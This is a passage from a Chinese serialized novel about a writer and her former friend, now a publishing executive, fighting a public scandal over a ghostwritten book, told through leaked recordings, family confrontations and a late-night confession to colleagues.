宋氏的股票暂停交易后,杜华年走出了千帆过。三天了,她终于见了见太阳。她回到家,直奔浴室,热水冲在身上的一刻,她才感到一丝从内心爆发的寒意,迫使她打了好几个寒颤。
吹干头发,化好妆,穿上纯黑色羊毛大衣,围巾是豹纹的。她走出单元楼,看见等在外头的李雯,李雯更夸张,她直接穿了一身豹纹皮大衣,挎着一个豹纹皮包。两人原地笑了两秒,上车往天地文化开。
杜华年和李雯畅通无阻地来到了沈荷的办公室。
沈荷还是一副潦草的样子,甚至因为中午吃了面,现在整个人看起来有点肿。
“你来得比我想的要早。”沈荷看着她。
杜华年点头,“所以没来得及收拾自己?”
沈荷看了看自己,摇头,“噢,那倒不是。我以为你会更沉得住气一点。说吧,你来想干嘛?”
“你暂时挂起股票,就是为了止跌,这些金融的东西我不懂,但我知道,只要我出来澄清,出版社就会撤诉,到时候你营销一波自己是被无辜波及的,股价一定会回升。”
沈荷看着她,问,“条件呢?”
“天地文化和工作室的合同作废,曾倩和你的合约也自动解除,这部电影是曾倩写的,你要按行价付给她编剧费用,并按照五比五的比例,把工作室的分红给我们。”
沈荷挑挑眉,叹口气,“你的澄清还真是值钱呢。”
“总不如你的股价值钱。”
沈荷笑了,笑着笑着就停不下来,杜华年也很有耐心地等着。她笑够了,喝了口水,“我以为你还有更大的手段呢,我还等着呢,没想到,你就是打算拿当年我帮你这点子事情来要挟我?”
“还不够么?”杜华年这个问题问得有点真诚了,她露出小狗一样的表情看着沈荷。
沈荷坐直了,双手交握摆在面前,头一扬,“阿芳,我还是希望你跟我合作,如果你跟我合作,你刚才的条件我都答应。”
杜华年一闭眼,“沈荷,我已经做不到了。”
这句话再一次刺激了沈荷,“你回去吧,看看我,还会给这件事带来点什么新鲜的刺激。”
杜华年看着她的微笑,知道今天白来了,低下头,点了点头,站起来,“好。”
李雯等在玻璃门外,看见她出来,脸色不太好,站起来迎上去,还没说什么,杜华年就拉着她走了。
71.我来揭穿我父亲,总好过别人吧?
下午三点零一分,两人走出了大楼,手机频繁震动起来,症候群炸锅了。两人拿起手机一看,好家伙,沈荷放出了一段十二年前与何芳芳交谈的录音。
在嘈杂的背景下,全网都听到了两个疑似主角十二年前的声音:
“不如,直接署你的名吧。”
“不行!这绝对不行,我的工作是有原则的。”
“我知道,但是学姐,我爸在这个圈子什么地位你不知道吗?”
“你是在威胁我?”
“你回去考虑一下吧。”
录音下紧跟着一段视频,视频中,沈荷的代表律师表示,保留起诉何芳芳的权利。
寥寥几句,足够吃瓜群众发挥想象,接踵而来的就是各路水军的疯狂渲染,舆论一下子反转,何芳芳不再是被上位者父亲摆布、被草根编辑沈荷利用、但却始终不放弃自己理想的热血偶像,而是一个利用出版家女儿的身份压迫小编辑沈荷的恶毒官二代,沈荷反而成为了不管经历多少不公,仍旧自强不息的人生榜样。
群里已经不发文字了,全是语音,点开一听,根本没法听,李雯按灭了屏幕。
“怎么回事?这录音是真的吗?”李雯用力抓住杜华年的手臂。
杜华年快速浏览了一遍各大平台标题,放下手机,“半真半假。”
李雯心一下子凉了半截,大冬天的,后背爬上了冷汗,“这是你们最要好的时候吧?你刚上大学,刚认识她,她还在……在读研究生……她就录音了?!你知道她录音吗?”
杜华年摇摇头,手指扣紧了手机,声音从鼻子里冷哼出来,“谁能想到学姐带学妹去学校后门美食街吃饭,还能带个录音笔?”她顶着后槽牙,回头抬眼仰望楼顶,脸上露出了李雯熟悉又害怕的神色,“沈荷,我真是夜郎自大了。”
她的眼睛泛红,李雯突然间感受到她有多受伤,毕竟一年前,她还为了保护沈荷,宁愿自己背上抄袭的黑锅,可是沈荷居然在十多年前,两人刚认识的时候,就已经做好了防备,铺好了后路。杜华年这个人,只要她感到深深地受伤,她就会露出这种表情,倔强又可怜的小兽一样,但也始终是个野兽。
李雯想缓解一下她的情绪,“这个事情她肯定是要用水军来加码的,我不如让瑜姐也买水军下场,不能让她带节奏。”
杜华年抬手打断她,“这些都不是她的重点,她是想要人们觉得,我写这个故事的动机,是想要把黑锅推到一个无辜的、无权无势的打工人身上,而这个打工人却在十几年前就留了个心眼,在这个节骨眼上,实现了逆风翻盘。你觉得,她这个新人设会不会更受欢迎?毕竟我们的读者全是打工人。”
李雯经她这么一说,骤然感觉到了四周的风全往自己身上吹,瞬间脑补出了一场社畜牛马围殴她和杜华年的狗血场景,于是她有点慌了,“那怎么办?你有录音原版吗?”
杜华年看向她,苦笑,“我怎么会有?”
电话响了,是瑜姐,只说了几句话。李雯一脸风声鹤唳,“瑜姐说,让我们赶紧回去。这附近有很多狗仔。”
千帆过的天台上,林见月正在给线稿上色,杜华年上来抽烟。她就喜欢林见月这种AI性格,谁也像是没看见谁。李雯心神不宁地坐在楼梯口边,瑜姐问她,“真的不需要做点什么?现在都骂到老杜的祖宗了。”
李雯轻轻地开口,“昨天沈荷被骂的时候,不被问候祖宗吗?”
瑜姐冷笑,“能一样吗?沈荷干了什么也都是靠自己,可今天这个录音呢?它说明我们老杜是靠爹,你知道这多招人恨吗?能出圈那种恨懂吗?”
李雯懵然点头。她当然懂,她从小到大都在承受这种恨,因为她是富二代,就仿佛她抢夺了别人口袋里的钱和机会,却没有人记得她作为私生女的困境。欸,可是如果出了什么见不得人的事,大家又会首先想到她,因为她是私生女。
人类并不会因为穷困就变得善良,也不会因为富有就变得歹毒。不要去怪钱,钱多无辜呢?
“唉——”李雯长叹一声,“先忍着吧,老杜什么都没说。我不怕她挨骂,只要她能写东西了,我有什么好怕的?”
瑜姐点头,“那你也别在这坐着了,下楼吃点东西。”
“不,”李雯靠着楼梯口,“我有点怕。”
“怕什么?”
“怕老杜做什么决定不告诉我。”
瑜姐叹气,“那你坐着有什么用?”
“不让她偷偷走。”
瑜姐哑然。
杜华年知道她只有最后一条路可以走了——曝光何文谦给沈荷汇款的流水单。但这够不够呢?沈荷会不会还有后手?她现在也不能肯定,万一沈荷并没有跟她讲全部真相呢?当年发生在那间办公室里的对话,万一沈荷也有录音呢?万一还有下半部分的对话,沈荷没讲,她也没猜到呢?毕竟,当年她不在场。
她已经受够了挤牙膏的方式,这件事情,她真的想立即了结它。那么只有一个办法:两败俱伤,玉石俱焚。
在送走何文谦之后,何文衫给了她一份翻印的《你我》手稿,上面有何文谦的批注。何文谦有个好习惯,哪怕就是写一个字,他也会落款日期。所以,这份翻印的手稿,可以证明何文谦当年就读过《你我》。她还记得何文衫提过,何文谦在开会的时候,传阅过这份手稿,那就是说,只要有当年的会议记录,就可以证明,她之所以不能用何芳芳的名字发表《你我》,是因为何文谦利用权力打压她,那么,只要她曝光这份会议记录,何文谦多少都算滥用职权。这样一来,整件事的动机就完整了,她被老爹逼到墙角,正好有个沈荷愿意帮忙,没想到陈年旧事,却被一时贪念上头的慕华又扯了出来。
杜华年和沈荷的人设会同时彻底崩塌,这场闹剧,终于可以落幕。
但她本不想走到这一步,让一切都似真似幻,引发一场热度,两边都拿点好处,然后和平解绑,桥归桥路归路,挺好的。
可沈荷却不是这样想的。
十二年,十二年前她就录音了,可她却一直把她当知己,放在心里十二年。
想完一切,抽完两支烟,她路过林见月,往回走,在楼梯边看见了李雯。
“你干嘛呢?”
“你要去哪?”李雯警惕地站起来。
“去找何文衫。”
“找你姑姑?她能帮忙?”李雯明显放松了一些。
“走,吃点东西,我有话跟你说。”
两人就在后厨找了个角落,一人一碗海鲜面。杜华年像交代后事一样,“现在只有这个办法了,等到这些都曝光,这个故事就变成真的了。我得加点辣椒酱。”她起身去灶台寻摸,“该调查的,该走程序的,都跑不掉。所以,工作室以后就是你的了,林见月和曾倩、慕华,都能用……”
李雯打断她,“你交代后事呢?为什么非要曝光这些?沈荷赢了就赢了嘛,你反正都能写东西了,我们有热度就行了呀,这部电影没了就没了,总有下一部的呀!”
杜华年拌好辣椒酱,蹲回来,“阿雯,你觉得沈荷只是为了这一部电影吗?她当年既然能录音,可见是个极端谨慎的人,这样的人,会不怕我手上有更多后招吗?如果她还从一个商人的角度思考,今天就该答应我提的条件,大家见好就收。可她没有,说明她所图不在此,所以我只能把事情一次性推到底,就再也翻不出新花样了。”她捞捞面,吃了一口,含混道:“我跟你说这些,是想你能早有心理准备。反正从一开始,工作室就是你投资的,我其实也不喜欢这些工作。等这件事彻底解决了,一切都会好起来。赶紧吃啊,坨了。”
李雯看着她,本想继续劝,突然意识到什么,说不出话来了。杜华年真的变了,她再也不像从前,
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一意孤行,做什么决定都不会跟人商量。她现在会告诉她她要干什么,为什么这么干,让她有个心理准备。
正是饭点,后厨乒铃乓啷的热闹底噪充斥着整个空间,颠勺、热油锅、呛蒜瓣、剁肉泥、劏鱼……李雯突然眼睛一热,两滴热泪落进了碗里,“老杜……”她有点哽咽,“你太难了,何文谦不放过你,沈荷也不放过你……”
杜华年也红了眼,她看着李雯颤抖的双肩,“阿雯啊,你不也太难了吗?”
杜华年打车去找何文衫,在这个曾经坐着何文谦的办公室外,杜华年看着何文衫埋头处理文件,和她父亲很像。她敲敲门进去,何文衫很惊讶,“你居然自己来了,不怕我骂你啊?”
“你骂。”她一坐,把包放在桌子上,一脸痞子的无赖样,“骂完把当年的会议记录给我。”
何文衫只反应了片刻就明白了她说的是那场会议,于是她立即察觉了她想干什么,一拍桌子,“你疯了?”
“小姑姑,录音你听了吧?我也没办法,沈荷这一手太厉害了。”杜华年一脸玩世不恭,把何文衫气得头晕,扶着额头往后靠,“那还不是你咬着人家不放?她是个商人,股价下跌她肯定是要用点手段的,更何况你当年也确实威胁人家呀。”
“我没有!”砰一声,杜华年狠狠拍了桌,突然凶狠起来,死死盯着何文衫,“录音她做过手脚,我没有威胁她,我最讨厌的就是威胁,我不威胁人,也不受人威胁!我当时只是跟她提过这个办法,她是回去想了两个多月,才突然在校刊上连载的。”
何文衫知道这个侄女的脾气,软下语气,“既然她是这样的人,我们肯定防不胜防,你还不如和她和解。”
“不可能。”杜华年一偏头,“把记录给我。就算你不给我记录,我也有翻印的手稿。”
“你还说你不威胁人?”何文衫也生气了,“你要让你父亲,死后名声还要被毁么?”
“我说事实,没有冤枉谁,也没有编造什么,怎么叫威胁你?我只是告诉你我会做什么,你自己衡量,提醒你不要蠢而已。我有要断你后路,砸你饭碗吗?”天黑下去了,杜华年心里更急,声音越来越大,“还有,什么叫名声被毁,他做这件事的时候就该想到有今天。毁他名声的,不是他自己吗?”
何文衫被她噎得哑口无言,气堵在胸口不上不下的。
杜华年见她还是不松口,也缓和了语气,“小姑姑,你可以不给我,我想,有这个记录的一定不止你一个,当年与会的老总编们,我会一个一个去找。”
何文衫惊讶地看着她,“我哥哥怎么生出你这么个讨债鬼?你就这么恨他?他都走了,你心里没点父女之情吗?”
杜华年真觉得可笑,“哈哈,小姑姑,你和他是真像啊,自己没给人家什么感情,要人家对自己有感情?我今天能承认一句,他不是很好的爹,也不是最坏的爹,就算是公平了。我到现在都还没想明白,他为什么要这么对我呢,我还不是得过我的日子?死了的人才干净呢!什么都不用烦了!”她说着,心酸又上来了,赶紧停下来缓了缓,“姑姑,我也跟你讲实话,我不是来较劲的,我和沈荷的事也没你想的那么简单,她就是冲我来的,不是我投降、妥协,她就会罢休的。我,”她哽咽了,用手指指自己,“我来揭穿我父亲,总好过别人吧?”
她最后这几句说得恳切,何文衫怎么会看不懂?她心里一下子觉得眼前的不是自己那个小侄女了,她是一个说一个字包含千万句的大人。何文衫听懂了最后一句,下午的录音就是个隐患,谁也不知道当年的事会被翻出来到什么程度,如果有人为了自保而把何文谦买了,那也是防不胜防。于是何文衫恳求,“我打出来给你。但是,请你,尽量不要把这事公之于众。”
杜华年看着她,觉得她有点可怜,点点头,“我尽量。”站起来,“我在楼下等你。”
72.她到底为什么不放过你?
杜华年回到千帆过时,已经是晚上八点过了。她只想喝口鱼汤,谁知刚走到三楼栏杆旁坐下,
姜老板就端着鱼,后头跟着五六个人,噔噔噔地上来了,乌泱泱站满了小阁楼。林见月往杜华年旁边一坐,怒目看着她。
其他人也都围着桌子坐下来,杜华年一个一个看过去,除了李雯,林见月、瑜姐、曾倩、小赵、许慕华,还有姜老板姐弟,挤挤挨挨,一个桌子坐不下,还坐到栏杆边上去了。
李雯摊手,“没办法,他们听说你的计划,都反对。”
“我不画了!你这种伤敌一万自损八千的事情,我不帮你做。”林见月冷淡地讲,像一个AI。
“对呀,老杜,我刚开始还不懂他们干嘛这么生气,后来流云跟我讲了这里面的利害关系,我才晓得,你这么干胆子太大了咧!”姜老板语气软绵,但声音高了不少。其他人也跟着点头附和,都不同意杜华年的决定。一时间这个凭栏远眺的小阁楼就跟开了锅的火锅似的,吵得要命。
杜华年终于气笑了,“你们傻吗?想想吧,沈荷要管那么大个集团,不忙吗?我们算个屁啊?你见过大象跟蚂蚁置气的吗?”
众人气焰下去一半,安安静静都不说话。
“她显然是为了我。”杜华年轻轻说:“我一天不愿和她合作,她一天不会放过我,不放过我就等于不放过你们。所以,最好的办法,就是我和她都完蛋,你们,还有他们宋氏,就都消停了。大象吸大象的水,蚂蚁搬蚂蚁的糖,各归各位,好好过日子。”她边说边比划,众人似乎听懂了,又似乎没听懂。
还是林见月首先反应过来,“她为什么不放过你?”
众人才发觉,他们对杜华年知之甚少,她为什么这么做,为什么那么做,为什么不做……他们从来都不知道,从前没人想问也没人敢问。可不知道从什么时候开始,他们想思考这个问题了,而完蛋的是,一旦开始思考,他们就发现,从去年的抄袭事件开始,他们就一直处在云山雾罩之中,突然好好的电影就涉嫌抄袭了,突然出了叛徒许慕华了,突然工作室老板没了,突然许慕华也完蛋了,突然老板回来了,突然老板又没了,突然被曾倩卖了,突然……众人都不想再回忆了,不是摇头就是捂脸,尤其是曾倩,更加坐立难安。
杜华年也代入他们的视角想了一遍,突然就笑了,“各位,我自问不是什么性格好、讨人喜欢的人,但我一直觉得自己是个好老板。可是就在刚才,我回头一想,才觉得我是个糟糕的老板。但是你们似乎还是愿意跟我做个朋友的,我太感激了!”她举着酒杯,一饮而尽。众人懵了一瞬,赶紧也想喝酒,才发现上来得急,杯碗筷子都没拿呢!姜老板“啊哟”一声站起来,杜华年拦住她,“别麻烦了,我很快说完。我和沈荷的事情,都写在这个故事里了,我现在就把原稿都发给你们,你们自己看就明白了。”
她低头摆弄手机,没两下,众人都收到了邮件提醒。杜华年继续说:“沈荷肯定清楚,她拿出的这个录音一定是我始料未及的,所以我如果不拿一个她也始料未及的东西出来,那么她吃定庆功酒了,可能她现在已经在吃庆功酒了。所以明天后天不能更新,我要让她更加觉得她赢定了,周一下午再发,因为周一上午她的集团股票会重新挂出来交易,等它涨一会儿,我们再打她个措手不及。”
众人没说话,也没离开,就这么站着,有人已经低头开始看故事的后续。姜老板还是下楼领着海师傅把碗筷杯碟置备了上来,再一次勉勉强强,所有人挤在这个凭栏阁楼坐下了。杜华年也不再劝,盛了鱼汤喝起来。李雯看了一圈,开口道:“你们想什么我知道,我也劝过她了,但是我们都忘了一件事,这个沈荷在十二年前,第一次和老杜吃饭,就录了音的……”她停了下来,桌上的人也都抬起了头,她继续,“其实老杜比我们都难过……”
杜华年还在喝汤。
众人才回过味来,觉得杜华年真惨,一时间整个饭桌愁云惨雾,只有慕华突然开口,“他妈的,这个沈荷比我还坏呢!人家为了保护她不肯说真相,她倒好,一回来,歪曲真相来陷害人家!”一句话说出了众人的心声,都看着杜华年,眼里充满同情。
杜华年并不想看见同情的目光,自顾自夹着鱼肉吃了起来,“所以,现在如果不能把沈荷一把锤死,大家都好不了。将来工作室会是李雯一个人的工作室,你们想留也可以,想走也可以,都不会亏待你们。我嘛,也不算无辜,毕竟冒名出版这个事情它就是我想出来的,现在我来善后,不冤。不是有那么句话吗?出来混,迟早要还的。”
到这个份上,没人再能说什么了。可林见月不是正常人,她还是执着地问,“她到底为什么不放过你?”
杜华年终于从她的鱼汤里抬起了头,她看了林见月一会儿,看见她单纯如AI的眼神,她放下调羹,往后一靠,叹口气出来,“这个问题我也想了很久。等我仔仔细细回忆起和她的过往,才发现我似乎惯常忽略身边的人。”她不似对谁说的,像在写东西,沉入自己的世界里的文字,“我觉得沈荷是我的知己,我从小没朋友,有一两个愿意靠近我的,也会因为我父亲的身份或者我的性格不够讨喜,逐渐疏远我。只有一个胡静雯,她很特别,可是后来我们也分开了,去了不同地方读书。沈荷让我觉得,她和胡静雯一样,只是喜欢我这个人。可是当我开始谈恋爱,沈荷就不开心了。”
“她自己谈吗?”林见月插了一句嘴。
“谈。”杜华年点点头,“但她似乎不像我这么投入,我感觉不到她在恋爱当中,但她确实有男朋友。她并不是不喜欢我的男朋友,恰恰相反,我的男朋友是一个比刘白更纯粹的男孩子。”她看着曾倩说了这句话。曾倩挪了挪身子,眼神发直。“可是,沈荷总在催我写稿子。你们知道的,谈恋爱很费时间的,说一堆废话,几个小时就没了,打电话能打到手机没电。而且谈恋爱很需要精力,每次见面过后,我都只想休息或者娱乐,根本提不起力气写作。是这一点,让沈荷觉得不能忍受。”
“那她自己谈恋爱不影响学业?”林见月又问。
“当然啦。其实我很想告诉她,或许她前男友背叛她,是有她的责任的,因为她那个恋爱谈得呀……啧,就很人机。我是个男人,我也受不了她。哦不,我是个女人,我都受不了她。我们天天吵架,上一秒和男友甜甜蜜蜜说再见,下一秒就跟沈荷吵得天翻地覆,我感觉我像干了什么不得了的坏事一样。她真的是个天选编辑,天天改稿子,天天催稿子,天天鞭策我,人家一天写三千字,她就要我一天写六千、一万……我的手腕子,就是那时候落下的病根。”她抬起手,撸起一节袖子,露出贴了三块膏药的右手手腕。
李雯对沈荷竟然生出了一点惺惺相惜来,“看来是我逼你不够紧啊!我供着你,她鞭打你,显然她在你心里更重要。”这话有点酸,杜华年斜她一眼,带点安抚和娇憨,李雯没绷住笑起来,点了一支烟。
慕华忍不住了,问,“后来呢?你因为谈恋爱和沈荷闹掰了?”
林见月猜,“不对,我觉得是为了沈荷把男朋友踹了。”
曾倩喝了两杯酒,上头了,“都不对,肯定是她老爸给拆散的!”
何文谦是禁忌,全员悚然静默下来。
只有李雯仍松弛地喝着酒抽着烟,杜华年忍不住也点了一支,转头望栏杆外吐出一团迷雾,“是我自己放弃的。我爸到死都觉得是他拆散的我们,哼,他自大了,我想做的事岂是他不同意就有用的?笑话!不过他一向自大。”这句的语气豪气干云,满桌又敢喘气了。“沈荷可能也以为,我是听了她的劝告,终于分手的吧。所以她现在才会这么自信,以为只要她随便伸伸手,我就会欣然和她回到从前。可是我不会,我连那么好的男朋友都可以不要……”
“到底为什么?”林见月又问。曾倩又插了一句,“那男的劈腿了?”
“呵呵呵呵……”杜华年冷笑起来,好一阵才停下,“因为害怕,沈荷发现了一个让我害怕的我。”她的眼神望出了栏杆外。
十二年前,沈荷连载《你我》,整个故事在学校里很受欢迎,人们都在谈论沈荷如何如何厉害,如何如何崇拜沈荷。没人知道这个故事是何芳芳的,沈荷以为她多少都会介意,可是她没有。
“我帮你搞定了一个专栏,能用你的名字发表,可你这半个月,一篇稿子没写给我,就是因为你去谈恋爱了?”沈荷很震惊,瞪大了眼睛。
何芳芳尴尬又想打哈哈,“我……嗯,我是没什么空写……也没关系啦,《你我》还没载完啊,不急。”
“不急?”沈荷生气了, “《你我》署的是我的名字!你不急?没有人知道你,没有人相信你的才华,你难道要去跟人家说《你我》其实是你写的?人家也要信呐!”
何芳芳满不在乎,“我不在意这个!别人不知道我不重要,重要的是,这就是我写的,我知道就行,我写的东西有这么多人喜欢就行,就是我的价值,我就开心。”
沈荷没想到她是这样想的,懵了一会儿,“不是,你这是什么逻辑?自我满足?自我安慰?我看你不是因为这个故事开心,你是因为恋爱开心吧?谈个恋爱给你谈成恋爱脑啦?”
何芳芳也有点生气了,“沈编辑,你也在谈恋爱吧?我不能因为谈恋爱开心吗?我不能先谈一下恋爱吗?”
她眨了眨眼,又眨了眨眼,严肃地、一字一句地说:“你觉得,你父亲会因为任何人或者事去暂停他的写作吗?你不是要证明你写的东西有价值吗?你不是要证明你不需要你父亲也能有价值吗?还有,我谈恋爱,可我从来没有因为恋爱耽误我的学业和工作。你呢?什么叫先谈一下恋爱?不是你自己告诉我的,不想变成你妈妈那样,一辈子只是男人的附庸,自己的价值只能寄托在男人身上吗?可你看你现在这样子,你到底是因为《你我》受欢迎感到快乐,还是因为有个男人天天说爱你了,你就感觉到价值感满足了?你自己好好想想吧何芳芳!”
沈荷气冲冲地走了,那天,沈荷穿过半个校区来找她,本来想干嘛的?她不记得了,但沈荷转身前失望的眼神让她汗毛倒竖。她游游荡荡来到宿舍后头的碧云湖边,看着围坐一圈的小情侣们出神,直到傍晚接到男朋友的电话,“你在宿舍吗?我来接你去吃饭,后门新开的那家馄饨铺,你上次路过说想试试的那家,今天我们去吃怎么样?”她本来想问题想了一下午,早就想累了,听到他的声音,她感到无比放松,愉快地答应他,“好。”
她回到宿舍,洗澡、化妆、吹头……雀跃地等着男孩来接她,可是当她看着镜子里鲜艳的女孩,忽然好像看见了夏莲——她的母亲。而沈荷的声音就在她脑子里挥之不去:
……你是因为有个男人天天说爱你了,你就感觉到价值感满足了?
……你父亲会因为任何人去暂停他的写作吗?
……你不是告诉我,你不想变成你妈妈那样吗?
镜子里的女孩,突然脸色煞白。
从那以后,她和男孩再没停止过争吵,男孩已经用尽全力在迁就她、满足她,她能感到他的精疲力尽。
男孩很崩溃,“你到底怎么了?为什么我做什么都不对呢?我没有影响你写稿,只要你一说你有空了,我不管在忙什么,就算是在实验室里,我也找舍友帮我顶着,就为了来见你,可你却连跟我吃个饭都觉得浪费你的时间。我请问,难道没有我,你就不用吃饭了吗?吃饭怎么浪费你时间了?”
“你的实验进度落下了么?”
“没有。”
“可我写稿的进度变慢了很多。你看,这就是男女之间
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的不公平,谈恋爱只会影响女性。”何芳芳带着锐利地控诉。
男孩觉得很荒唐,“芳芳,你理智一点好不好?我没落下进度,是因为我熬夜、通宵,我用睡觉的时间去补进度,而不是因为我是男性!而且我没有要求你和我一样,我希望你正常写作、正常上课、正常休息,只是有空的时候,和我见见面。”
“你看?你为什么歧视我?为什么你觉得你应该牺牲多一点,而我不用?因为你是男的?我是女人?你有能力牺牲、有能力兼顾,而我没有?”何芳芳开始无理取闹,她甚至到现在都没明白,当时的自己为什么会说出那样无理取闹的话。
男孩愣了好半晌,终于给她气笑了,“芳芳,何芳芳,我没有歧视你,我没有歧视女人。我这么做,不是因为我觉得我行,觉得你不行,而是因为比起要你辛苦,我宁愿自己辛苦一点。”
那是一个深秋的夜晚,刚下晚课,校园里涌动着青春的喧哗,明月千里,比路灯还亮几分,他们站在食堂后头的桂花林里,最后一茬桂花正不顾一切地盛放,空气里浸透了馥郁西香。这样的夜色里,何芳芳看见了这个男孩眼里最干净的爱意,可她不知道怎么了,就是说出了另一句话,“我不能失去自我。”
“谁想让你失去自我?”男孩也似乎冷静了下来,只是片刻,他就看明白了眼前的姑娘,他说:“何芳芳?你是觉得和我谈恋爱让你失去自我?所以你怪我,怪我强迫你失去了自我?”
何芳芳不说话,只是怔怔地望着他。
男孩忽然自嘲一笑,“芳芳,你在怕什么?你为什么要把你怕的东西栽到我头上?你知道吗?你怕失去的那些东西,恰恰也是我最喜欢的,不管是谁想要它们从你身上消失,都一定不是我。是你不相信我。”
何芳芳看见了他眼里的悲伤,她知道这个男孩很受伤,可当时的何芳芳,十九岁的何芳芳,不会觉得这个男孩是她能遇见的最好的男孩了。她说:“是啊,我没办法相信,我和一个男人谈恋爱了,还能保持自我,还能拥有纯粹的价值。”
一阵秋风吹来,落花纷纷,细碎的桂花洒满了两人的头发,香气袭身。男孩望着她良久,才说:“好。我不再打扰你了,只要你不想再见到我,我一定不会再纠缠你。你放心。”
男孩走了,在漫天月色与花香中走了。那是南方少见的丹桂,橘红色,好漂亮的。
一桌子的人都低下了头,每个人都沉浸在这个Be的青春故事里,他们连呼吸都不自觉地轻了。
杜华年看着他们这模样,淡淡一笑,“没什么好难过的,青春就是用来挥霍的,有遗憾多正常啊。”
林见月敏锐地问,“所以你后悔了?”
李雯也惊讶地看向她。
“不能算后悔,因为再来一次,我还是那样的何芳芳。只是这一次我回了趟家,和我妈聊了很多,她让我发现了我有多狭隘,于是我就知道了,当时……我就是因为怕,其实他说的是对的,谈恋爱不会让人失去自我,只有自己能让自己失去自我,因为实现自我实在是一件太辛苦的事。”
“那他后来也没再联系你?”曾倩冷不丁问了一句。
杜华年摇头,“他说到做到,再也没有跟我说过一句话,即便我们两个系就在前后楼。”即便我们还常常能偶遇。
“你们不必当做是青春电影里的遗憾。因为真正的原因是,我没那么爱他。”杜华年早就接受了自己的命运,“我当时比较了一下,我是更愿意谈恋爱还是更愿意写作?谈恋爱更快乐还是写作更快乐?我选的是后者。一个写东西的人是最孤独的,这一点沈荷是对的,我父亲就很孤独,我母亲一辈子都不敢问他心里想什么,只敢猜,这一点我和他真像啊!我妈也只敢猜我的想法。不过……”她仔细想了想,手指把玩着青瓷茶杯,“倒是有一个损失,那就是,我写不了爱情。”
众人一想,还真是,纷纷点点头,只有姜流云直直看着她,若有所思。
慕华轻轻问,“可是那么多作家都有家庭啊?”
“所以他们挺自私的,在我看来。”杜华年的心,今夜是开敞的,她喝了口酒,“我们都不能割舍写作的时空,这是我们的一部分,每天必然要有一个绝对隔绝的时空留给写作,而不在写的时候,脑子里也总是在想着该怎么写。恋爱带来的是多巴胺,写作能带来内啡肽,多巴胺会回落,内啡肽不会。即便多巴胺不需要痛苦做交换,可我还是选内啡肽。”她又喝一口酒,“所以啊,你们知道了吧?我是个极端自私的人,和我父亲一样!”
众人看着她,知道她是个狠人,但没想到是这么狠的一个人。李雯一手搭上她肩头,“至少你没骗人,不贪心,只要一个。”
林见月又问了,“可是,你还是没告诉我,沈荷为什么不放过你啊!”
“因为我没有选她。”
“啊?”众人异口同声。
“我分手后状态很差,和我爸的关系也很紧张,每天都过得很颓废,她经常约我,可是我总失约。后来她出国,我也是最后知道的,冲到机场的时候,她已经进了安检的门。我想,她是因为我们都太冷漠吧,她跟我说她妈妈不肯跟她出国,她爸爸走后,她妈妈甚至再也没抱过她,她爸爸走的时候,她好像才……十岁?还是十二岁?我也从没有什么事,是只为了她才做的。我回家想了一个月,我想,她就是因为觉得,这个世界上,从来没有人会只为了她做一件事,于是变成现在这样。”
“不对,你去年不肯澄清,就是只为了她做的事。”李雯反驳她。她突然睁大眼睛回看李雯,“欸?对欸!”
林见月适时地进行了总结,“我懂了,她想买回你和她的当年。”
“对咯!”杜华年冲她举杯,“但我们谁都回不去了!来!”
众人举杯,一饮而尽。
73.我们都爱疯子
周六早上,漫画没有更新,熬到下午,小说也没有更新。沈荷知道是这段录音让杜华年措手不及了。她坐在车上,看着车窗外滑过的街景,脑中回想起助理听到录音后的反应,她想:芳芳,你也觉得心寒吧?
这件事从一开始就在超出她的预期,她万万想不到,杜华年不仅拒绝与她合作,还要为了个不值钱的工作室跟她玩命。她万万想不通,怎么算,都应该选她沈荷的呀!不是吗?
我也不想这样的,何芳芳,可你实在太疯了。她想。或许,我已经永远失去你了吧,何芳芳。她又想。
自从回国,沈荷就一直住在酒店。宋林的父亲在南京有自己的房产,今天,她打算回去看看,没想到宋林也在,并且是和一群狐朋狗友在轰趴。
宋林其实也一直不住在这里,他宁愿在外头自己租房子住。
震耳欲聋的音乐,一屋疯子,满地酒瓶,沈荷的愤怒飚到极值只用了一秒。她走进去,一直走到客厅正中央,随手抓住一个女孩的头发就往地上拽。女孩痛得凄厉地尖叫,众人都吓傻了,呆呆地站在原地看着,女孩似乎叫累了,音乐才被关掉,灯也才打开。
只有宋林坐在沙发上笑。沈荷松了手,众人连滚带爬地跑了。
“难得回来,一回来就发疯,你到底什么时候能懂事?”沈荷看着宋林。
宋林也看着她,“你也难得回来,一会来就打人,你想干嘛?”
沈荷心里本来就堵,再见他这幅十足二世祖做派,怒从心起,抬手给他一巴掌。声音脆响,宋林眼一花,耳中一阵蜂鸣,甚至嘴里还尝到了甜腥味,他也发了飙,“你干什么!?今天他们不是没更新吗?你不是大获全胜了吗?谁惹你了!”
沈荷忽而觉得好累,她坐到沙发里,随便抄了一瓶桌上的红酒,一声清脆的爆空响,她打开了木塞,仰头就灌。宋林没见过她这个样子,也坐了下来,又问一遍,“你到底怎么了?”
沈荷抬起眼皮瞟着他,“你不是开画室吗?你不是要上进吗?怎么受一点点挫折就又打回原形了?”
宋林被戳到痛处,不耐烦,“你管我。”
“我能不管你吗?你爸爸走了这么多年了,你还没长大!整个集团,我一个可以信任的人都没有,你好歹是少东家吧?你能不能长进点,如果我有什么事,你还能顶一顶。”
“你会有什么事?”宋林反问,“你多有本事啊!破坏我和李雯的感情,现在又来假装对我好?沈荷,我真的是不明白,怎么会有你这种女人?”
“哈?”她冷笑,“你有点担当吧!我破坏你们?宋林啊,你知道我为什么不喜欢你吗?你真的不如你爸爸,你追我那么久,都不如你爸爸跟我聊一个小时。”沈荷觉得简直是在对牛弹琴,站起来就要上楼。
宋林却受了刺激,站起来拦住她,红着眼睛问,“你什么意思?”
沈荷露出怜悯的目光,“我有逼你出卖李雯吗?是你自己要试探她,你没得到你想要的重视,所以你就要报复人家,你不是幼稚是什么?你还以为这个是爱啊?你这个就是小朋友的占有欲。李雯也是傻,她看不明白,可我看得很清楚。到现在,你还来赖我?”沈荷甩开他手,上了楼。
宋林立在原地,像个雕塑,片刻后,他失去了所有力气,摔回沙发里,回忆不可遏制地袭来。
